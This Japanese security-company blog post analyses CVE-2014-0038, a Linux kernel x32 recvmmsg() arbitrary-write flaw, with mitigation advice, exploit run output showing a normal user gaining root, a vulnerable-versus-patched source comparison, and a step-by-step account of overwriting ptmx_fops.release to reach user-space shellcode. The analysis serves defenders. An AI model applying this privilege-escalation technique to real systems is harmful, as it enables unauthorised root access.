スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Linux Kernel x32 ABIの脆弱性(CVE-2014-0038)

タイガーチームセキュリティレポート

Linux Kernel x32 ABIの脆弱性(CVE-2014-0038)

user-landのセキュリティ対策の強化により、user-landのプログラムに対するexploitは以前よりも難しくなってきています。そのような背景からOS Kernelの脆弱性に対する(攻撃者の)関心は高まっていくと考えられ、今後レポートのテーマとして取り上げていきたいと思います。

今回はx32 ABI syscallのrecvmmsg()のメモリ破壊の脆弱性(CVE-2014-0038)についてです。


-影響と対策-

この脆弱性は未検証のポインタの逆参照(unvalidated pointer dereference)によるメモリ破壊の脆弱性です。この脆弱性により任意のアドレスを書き換えることが可能になり、悪用するとローカルから一般ユーザが管理者権限を取得することが可能です。

Linux Kernelのバージョンアップかx32 ABIを無効化(要Kernel再コンパイル)することで対策が可能です。


-exploit-

exploitはググればすぐに見つかります。まずはexploitを実行して結果を確認してみます。今回はUbuntu 13.10で検証しました。Kernelのバージョンは3.11.0-12-genericです。

acruel@saucy:~/work/cve-2014-0038$ uname -r
3.11.0-12-generic
acruel@saucy:~/work/cve-2014-0038$ ./timeoutpwn 
preparing payload buffer...
changing kernel pointer to point into controlled buffer...
clearing byte at 0xffffffff81fb312d
clearing byte at 0xffffffff81fb312e
clearing byte at 0xffffffff81fb312f
waiting for timeouts...
0s/255s
10s/255s
20s/255s
30s/255s
40s/255s
50s/255s
60s/255s
70s/255s
80s/255s
90s/255s
100s/255s
110s/255s
120s/255s
130s/255s
140s/255s
150s/255s
160s/255s
170s/255s
180s/255s
190s/255s
200s/255s
210s/255s
230s/255s
240s/255s
250s/255s
waking up parent...
byte zeroed out
waking up parent...
byte zeroed out
waking up parent...
byte zeroed out
releasing file descriptor to call manipulated pointer in kernel mode...
got root, enjoy :)
root@saucy:~/work/cve-2014-0038# whoami
root
root@saucy:~/work/cve-2014-0038#

Pwned! あっさりrootユーザになれました。このKernelは脆弱なようです。


-x32 ABI-

この脆弱性はx32 ABI syscallのrecvmmsg()にあります。recvmmsg()は一度に複数のメッセージをまとめて受信するためのsystem callです。

x32 ABIはLinux Kernel 3.4から導入された機能で、ILP32 modeで64 bitのCPU命令を実行できるようにするものです。これによりメモリ使用量とcache footprintを抑えながら高速なCPU命令(例えばint 80hより高速なsyscall命令)を利用できるなどの利点があります。

x32ではポインタのサイズが32bitになるため仮想メモリのサイズは4GBに制限されますが、4GB以上の仮想メモリを必要としないプログラム(ほとんどの場合はそうです)にとって最適な実行modeになります。2038年問題を考慮してtime_t等の時刻の型は64bitです。


-脆弱性の詳細-

今回検証したLinux Kernel 3.11.0-12と脆弱性が修正されている3.11.0-23のソースを比較してみます。

770 asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
771                                     unsigned int vlen, unsigned int flags,
772                                     struct compat_timespec __user *timeout)
773 {
774         int datagrams;
775         struct timespec ktspec;
776 
777         if (flags & MSG_CMSG_COMPAT)
778                 return -EINVAL;
779 
780         if (COMPAT_USE_64BIT_TIME)
781                 return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
782                                       flags | MSG_CMSG_COMPAT,
783                                       (struct timespec *) timeout);
784 
785         if (timeout == NULL)
786                 return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
787                                       flags | MSG_CMSG_COMPAT, NULL);
788 
789         if (get_compat_timespec(&ktspec, timeout))
790                 return -EFAULT;
791 
792         datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
793                                    flags | MSG_CMSG_COMPAT, &ktspec);
794         if (datagrams > 0 && put_compat_timespec(&ktspec, timeout))
795                 datagrams = -EFAULT;
796 
797         return datagrams;
798 }
net/compat.c (3.11.0-12)

773 asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
774                                     unsigned int vlen, unsigned int flags,
775                                     struct compat_timespec __user *timeout)
776 {
777         int datagrams;
778         struct timespec ktspec;
779 
780         if (flags & MSG_CMSG_COMPAT)
781                 return -EINVAL;
782 
783         if (timeout == NULL)
784                 return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
785                                       flags | MSG_CMSG_COMPAT, NULL);
786 
787         if (compat_get_timespec(&ktspec, timeout))
788                 return -EFAULT;
789 
790         datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
791                                    flags | MSG_CMSG_COMPAT, &ktspec);
792         if (datagrams > 0 && compat_put_timespec(&ktspec, timeout))
793                 datagrams = -EFAULT;
794 
795         return datagrams;
796 }
net/compat.c (3.11.0-23)

脆弱性に関連する変更点としては、3.11.0-12でcompat_sys_recvmmsg()の引数struct compat_timespec __user *timeoutをstruct timespec *にキャストしてそのまま__sys_recvmmsg()に渡していた(781行目から783行目)のが3.11.0-23では削除されています。

__userマクロを指定した変数には逆参照(noderef)したり異なるアドレス空間で使用することができないという制限がつきますが、3.11.0-12での__user指定なしのキャストにより__userマクロによる制限は無視されてしまいます。

# define __user         __attribute__((noderef, address_space(1)))
include/linux/compiler.h

通常、__userマクロを指定した変数を扱うにはcopy_from_user()やget_user()などでkernel space内の変数にコピーします。これからの関数はコピー元のポインタがuser spaceを指しているかどうかを検証するので、コピー後は安全にポインタを扱うことができます。

__sys_recvmmsg()ではtimeoutで指定したtimespec構造体の値を更新します。timeoutは通常user spaceを指すポインタを期待していますがtimeoutの値としてkernel spaceを指すポインタを指定された場合、検証されずにkernel space内のメモリを書き換えてしまうことになります。

2304 int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
2305                    unsigned int flags, struct timespec *timeout)
2306 {
2307         int fput_needed, err, datagrams;
2308         struct socket *sock;
2309         struct mmsghdr __user *entry;
2310         struct compat_mmsghdr __user *compat_entry;
2311         struct msghdr msg_sys;
2312         struct timespec end_time;
2313 
2314         if (timeout &&
2315             poll_select_set_timeout(&end_time, timeout->tv_sec,
2316                                     timeout->tv_nsec))
2317                 return -EINVAL;
2318 

*snip*

2331 
2332         while (datagrams < vlen) {
2333                 /*
2334                  * No need to ask LSM for more than the first datagram.
2335                  */
2336                 if (MSG_CMSG_COMPAT & flags) {
2337                         err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
2338                                              &msg_sys, flags & ~MSG_WAITFORONE,
2339                                              datagrams);
2340                         if (err < 0)
2341                                 break;
2342                         err = __put_user(err, &compat_entry->msg_len);
2343                         ++compat_entry;
2344                 } else {
2345                         err = ___sys_recvmsg(sock,
2346                                              (struct msghdr __user *)entry,
2347                                              &msg_sys, flags & ~MSG_WAITFORONE,
2348                                              datagrams);
2349                         if (err < 0)
2350                                 break;
2351                         err = put_user(err, &entry->msg_len);
2352                         ++entry;
2353                 }
2354 
2355                 if (err)
2356                         break;
2357                 ++datagrams;
2358 
2359                 /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
2360                 if (flags & MSG_WAITFORONE)
2361                         flags |= MSG_DONTWAIT;
2362 
2363                 if (timeout) {
2364                         ktime_get_ts(timeout);
2365                         *timeout = timespec_sub(end_time, *timeout);
2366                         if (timeout->tv_sec < 0) {
2367                                 timeout->tv_sec = timeout->tv_nsec = 0;
2368                                 break;
2369                         }
2370 
2371                         /* Timeout, return less than vlen datagrams */
2372                         if (timeout->tv_nsec == 0 && timeout->tv_sec == 0)
2373                                 break;
2374                 }
net/socket.c

ここでは2315行目でタイムアウトを設定したあと、2332行目以降複数のメッセージを__sys_recvmsg()で受信しつつ、2365行目で残り時間を計算してtimespec構造体の値を更新しています。以上が、脆弱性の詳細です。


-exploitの詳細-

以降、攻撃者の立場で脆弱性の悪用方法を見ていきます。考えられるのはkernel space内の構造体や関数ポインタの書き換えですが、失敗すればシステムをクラッシュさせる可能性が高いので書き換え対象のデータのアドレスは完全に予測可能でなければなりません。

今回検証したexploitでは擬似端末マスタptmxに関する各種ファイル操作を行うための関数ポインタを格納するstruct file_operations型のstatic変数であるptmx_fopsをターゲットにしています。

struct file_operations {
        struct module *owner;
        loff_t (*llseek) (struct file *, loff_t, int);
        ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
        ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
        ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        int (*iterate) (struct file *, struct dir_context *);
        unsigned int (*poll) (struct file *, struct poll_table_struct *);
        long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
        long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
        int (*mmap) (struct file *, struct vm_area_struct *);
        int (*open) (struct inode *, struct file *);
        int (*flush) (struct file *, fl_owner_t id);
        int (*release) (struct inode *, struct file *);
        int (*fsync) (struct file *, loff_t, loff_t, int datasync);
        int (*aio_fsync) (struct kiocb *, int datasync);
        int (*fasync) (int, struct file *, int);
        int (*lock) (struct file *, int, struct file_lock *);
        ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
        unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
        int (*check_flags)(int);
        int (*flock) (struct file *, int, struct file_lock *);
        ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
        ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
        int (*setlease)(struct file *, long, struct file_lock **);
        long (*fallocate)(struct file *file, int mode, loff_t offset,
                          loff_t len);
        int (*show_fdinfo)(struct seq_file *m, struct file *f);
};
include/linux/fs.h

file_operations構造体は27個のポインタを持っているので構造体のサイズは27*8です。また、ptmx_foptsのアドレスは0xffffffff81fb30c0であることもわかります。

acruel@saucy:~/work/cve-2014-0038$ sudo grep ptmx_fops /proc/kallsyms
ffffffff81fb30c0 b ptmx_fops
acruel@saucy:~/work/cve-2014-0038$ 

実際にptmx_foptsの中身をdumpしてみます。下は、kernelのメモリをデバイスファイル/dev/fmemから参照してptmx_foptsを出力した様子です。

acruel@saucy:~/work/cve-2014-0038$ sudo dd if=/dev/fmem bs=1 count=$((27*8)) skip=$((0x1fb30c0)) | hexdump -C
00000000  00 00 00 00 00 00 00 00  20 62 1a 81 ff ff ff ff  |........ b......|
00000010  10 ed 42 81 ff ff ff ff  50 f0 42 81 ff ff ff ff  |..B.....P.B.....|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  e0 ee 42 81 ff ff ff ff  |..........B.....|
00000040  e0 0a 43 81 ff ff ff ff  10 ee 42 81 ff ff ff ff  |..C.......B.....|
00000050  00 00 00 00 00 00 00 00  d0 9d 43 81 ff ff ff ff  |..........C.....|
00000060  00 00 00 00 00 00 00 00  c0 fe 42 81 ff ff ff ff  |..........B.....|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  c0 ec 42 81 ff ff ff ff  00 00 00 00 00 00 00 00  |..B.............|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
216+0 records in
216+0 records out
216 bytes (216 B) copied, 0.00975157 s, 22.2 kB/s
000000d8
acruel@saucy:~/work/cve-2014-0038$

exploitではfile_operations構造体の14番めのフィールドであるreleaseを書き換えています。上の出力結果から、releaseフィールドの値は0xffffffff8142fec0であることがわかりますが、これはtty_release()のアドレスです。

acruel@saucy:~/work/cve-2014-0038$ sudo grep ffffffff8142fec0 /proc/kallsyms
ffffffff8142fec0 T tty_release
acruel@saucy:~/work/cve-2014-0038$

この関数ポインタを書き換えてuser spaceにある攻撃者のコードを指すようにするにはreleaseフィールドの上位3バイト(0xffffff)を0に書き換えてreleaseフィールドの値を0x000000ff8142fec0にします。攻撃者はこのアドレスに権限を昇格する攻撃者のコード(shellcode)を配置しておくことになります。

3バイトを(効率的に)書き換えるには1バイト(0xff)を0に書き換える操作を3回繰り返します。0xffを0に書き換えるためにはtimeoutポインタで書き換えたい1バイトのアドレスを指定した上でrecvmmsg()を呼び出し、254秒メッセージを待ったタイミングで自分自身にメッセージを送信します。するとtimespec構造体の最下位バイトにあたる0xffから待ち秒数がデクリメントされてちょうど0になります。1秒未満の端数はtimespec構造体の上位8バイトに相当するtv_nsecフィールドに書き込まれます。詳細はexploitのソースコードを読んだほうがわかりやすいはずです。

関数ポインタの書き換えが完了したら/dev/ptmxを開いて閉じることで0x000000ff8142fec0に配置しておいた攻撃者のコードに処理が移ります。ここまでくればexploitは成功したのと同然ですが、kernel exploitの場合はシステムをクラッシュさせないようにお行儀よくcleanupする必要があります。

以上、CVE-2014-0038の検証でした。今回のようにkernelがユーザからのポインタを未検証のまま使用することにより生じる問題はkernelの代表的な脆弱性のクラスのひとつです。


参考情報:
[1] Linux 3.4+: arbitrary write with CONFIG_X86_X32 (CVE-2014-0038)
http://seclists.org/oss-sec/2014/q1/187
[2] How to exploit the x32 recvmmsg() kernel vulnerability CVE 2014-0038
http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html
[3] The x32 system call ABI
https://lwn.net/Articles/456731/
[4] x32 ABI
http://en.wikipedia.org/wiki/X32_ABI


タイガーチームメンバー 塚本 泰三